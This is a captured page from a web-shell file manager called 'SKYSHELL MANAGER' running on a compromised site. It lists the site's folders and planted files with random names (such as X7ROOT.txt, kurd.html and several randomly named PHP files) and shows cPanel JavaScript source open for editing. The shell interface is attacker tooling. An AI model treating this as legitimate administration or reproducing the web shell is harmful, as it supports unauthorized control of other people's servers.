📁
SKYSHELL MANAGER
PHP v8.2.30
Create
Create
Path:
root
/
home
/
qooetu
/
costes.qooetu.com
/
Name
Size
Perm
Actions
📁
.well-known
-
0755
🗑️
🏷️
🔒
📁
2e19d9
-
0755
🗑️
🏷️
🔒
📁
6b114
-
0755
🗑️
🏷️
🔒
📁
Modules
-
0755
🗑️
🏷️
🔒
📁
app
-
0755
🗑️
🏷️
🔒
📁
assets
-
0755
🗑️
🏷️
🔒
📁
bootstrap
-
0755
🗑️
🏷️
🔒
📁
cgi-bin
-
0755
🗑️
🏷️
🔒
📁
config
-
0755
🗑️
🏷️
🔒
📁
css
-
0755
🗑️
🏷️
🔒
📁
database
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
nbproject
-
0755
🗑️
🏷️
🔒
📁
public
-
0755
🗑️
🏷️
🔒
📁
resources
-
0755
🗑️
🏷️
🔒
📁
routes
-
0755
🗑️
🏷️
🔒
📁
storage
-
0755
🗑️
🏷️
🔒
📁
tests
-
0755
🗑️
🏷️
🔒
📁
uploads
-
0755
🗑️
🏷️
🔒
📁
vendor
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0755
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📄
.htaccess
0.23 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
COOKIE.txt
0.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
X7ROOT.txt
0.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
defaults.php
1.29 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
engine.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
error_log
813.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
features.php
11.28 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
googlecfb82e09419fc0f6.html
0.05 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php0
1.56 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
inputs.php
0.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
kurd.html
1.07 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
library.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
min.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
p.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
php.ini
0.04 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
product.php
1.78 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
qpmwztts.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.32 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
tovmbkwh.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
tyyffovi.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
veoxv.html
1.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
Edit: configService.js
// Copyright 2026 WebPros International, LLC // All rights reserved. // copyright@cpanel.net http://cpanel.net // This code is subject to the cPanel license. Unauthorized copying is prohibited. /* * multiphp_manager/services/configService.js Copyright(c) 2020 cPanel, L.L.C. * All rights reserved. * copyright@cpanel.net http://cpanel.net * This code is subject to the cPanel license. Unauthorized copying is prohibited */ /* global define: false */ define( [ // Libraries "angular", // CJT "cjt/util/locale", "cjt/io/api", "cjt/io/uapi-request", "cjt/io/uapi", // IMPORTANT: Load the driver so its ready "cjt/services/APIService", ], function(angular, LOCALE, API, APIREQUEST, APIDRIVER) { "use strict"; var app = angular.module("cpanel.multiPhpManager.service", ["cjt2.services.api"]); /** * Setup the account list model's API service */ app.factory("configService", ["$q", "APIService", function($q, APIService) { // return the factory interface return { /** * Converts the response to our application data structure * @param {Object} response * @return {Object} Sanitized data structure. */ convertResponseToList: function(response) { var items = []; if (response.status) { var data = response.data; for (var i = 0, length = data.length; i < length; i++) { var list = data[i]; // add PHP user friendly version format if (list.version) { list.displayPhpVersion = this.transformPhpFormat(list.version); } items.push( list ); } var meta = response.meta; var totalItems = meta.paginate.total_records || data.length; var totalPages = meta.paginate.total_pages || 1; return { items: items, totalItems: totalItems, totalPages: totalPages, }; } else { return { items: [], totalItems: 0, totalPages: 0, }; } }, /** * Set a given PHP version to the given list of vhosts. * version: PHP version to apply to the provided vhost list. * vhostList: List of vhosts to which the new PHP needs to be applied. * @return {Promise} - Promise that will fulfill the request. */ applyDomainSetting: function(version, vhostList) { // make a promise var deferred = $q.defer(); var that = this; var apiCall = new APIREQUEST.Class(); apiCall.initialize("LangPHP", "php_set_vhost_versions"); apiCall.addArgument("version", version); if (typeof (vhostList) !== "undefined" && vhostList.length > 0) { vhostList.forEach(function(vhost, index) { apiCall.addArgument("vhost-" + index, vhost); }); } API.promise(apiCall.getRunArguments()) .done(function(response) { // Create items from the response response = response.parsedResponse; if (response.status) { // Keep the promise deferred.resolve(response.data); } else { // Pass the error along deferred.reject(response); } }); // Pass the promise back to the controller return deferred.promise; }, /** * Get a list of accounts along with their default PHP versions for the given search/filter/page criteria. * @param {object} meta - Optional meta data to control sorting, filtering and paging * @param {string} meta.sortBy - Name of the field to sort by * @param {string} meta.sortDirection - asc or desc * @param {string} meta.sortType - Optional name of the sort rule to apply to the sorting * @param {string} meta.filterBy - Name of the field to filter by * @param {string} meta.filterValue - Expression/argument to pass to the compare method. * @param {string} meta.pageNumber - Page number to fetch. * @param {string} meta.pageSize - Size of a page, will default to 10 if not provided. * @return {Promise} - Promise that will fulfill the request. */ fetchList: function(meta) { // make a promise var deferred = $q.defer(); var that = this; var apiCall = new APIREQUEST.Class(); apiCall.initialize("LangPHP", "php_get_vhost_versions"); if (meta) { if (meta.sortBy && meta.sortDirection) { apiCall.addSorting(meta.sortBy, meta.sortDirection, meta.sortType); } if (meta.currentPage) { apiCall.addPaging(meta.currentPage, meta.pageSize || 10); } if (meta.filterBy && meta.filterCompare && meta.filterValue) { apiCall.addFilter(meta.filterBy, meta.filterCompare, meta.filterValue); } } API.promise(apiCall.getRunArguments()) .done(function(response) { // Create items from the response response = response.parsedResponse; if (response.status) { var results = that.convertResponseToList(response); // Keep the promise deferred.resolve(results); } else { // Pass the error along deferred.reject(response.error); } }); // Pass the promise back to the controller return deferred.promise; }, /** * Get a list of domains that are inherit PHP version from a given location. * @param {string} location - The location for which PHP version is changed. * example: domain:foo.tld, system:default * @return {Promise} - Promise that will fulfill the request. */ fetchImpactedDomains: function(type, value) { var apiCall = new APIREQUEST.Class(); var apiService = new APIService(); apiCall.initialize("LangPHP", "php_get_impacted_domains"); apiCall.addArgument(type, value); var deferred = apiService.deferred(apiCall); return deferred.promise; }, /** * Convert PHP package name (eg: ea-php56) * to a user friendly string (eg: PHP 5.6) * @param {String} * @return {String} */ friendlyPhpFormat: function(str) { var newStr = str || ""; var phpVersionRegex = /^\D+-(php)(\d{2,3})$/i; if (phpVersionRegex.test(str)) { var stringArr = str.match(phpVersionRegex); // adds a period before the last digit var formattedNumber = stringArr[2].replace(/(\d)$/, ".$1"); newStr = "PHP " + formattedNumber; if (!(window["PAGE"] && window["PAGE"]["suppress_php_eol_status"])) { if (str.indexOf("alt-") === 0) { newStr += " [" + LOCALE.maketext("Secured") + "]"; } else { let matches = str.match(/php(\d+)/); if (matches && matches[1]) { let versionNumber = parseInt(matches[1]); let minVersion = parseInt(String(window["PAGE"]["oldest_supported_php_version"]).replace(".", "")); if (versionNumber < minVersion) { newStr = newStr + " [" + LOCALE.maketext("Outdated") + "]"; } } } } } return newStr; }, /** * Format PHP package name (eg: ea-php99) * to a display format (eg: PHP 5.6 (ea-php99)) * @param {String} * @return {String} */ transformPhpFormat: function(str) { str = str || ""; var newStr = this.friendlyPhpFormat(str); return (newStr !== "" && newStr !== str) ? newStr + " (" + str + ")" : str; }, /** * Gets recommendation data for EasyApache 4. * @method getEA4Recommendations * @return {Promise} */ getEA4Recommendations: function() { var apiCall = new APIREQUEST.Class(); var apiService = new APIService(); apiCall.initialize("EA4", "get_recommendations"); var deferred = apiService.deferred(apiCall); return deferred.promise; }, /** * Gets custom php recommendations. These can be defined in the file * '/etc/cpanel/ea4/recommendations/custom_php_recommendation.json'. * @method getCustomRecommendations * @return {Promise} */ getCustomRecommendations: function() { var apiCall = new APIREQUEST.Class(); var apiService = new APIService(); apiCall.initialize("EA4", "get_php_recommendations"); var deferred = apiService.deferred(apiCall); return deferred.promise; }, }; }]); } );
Save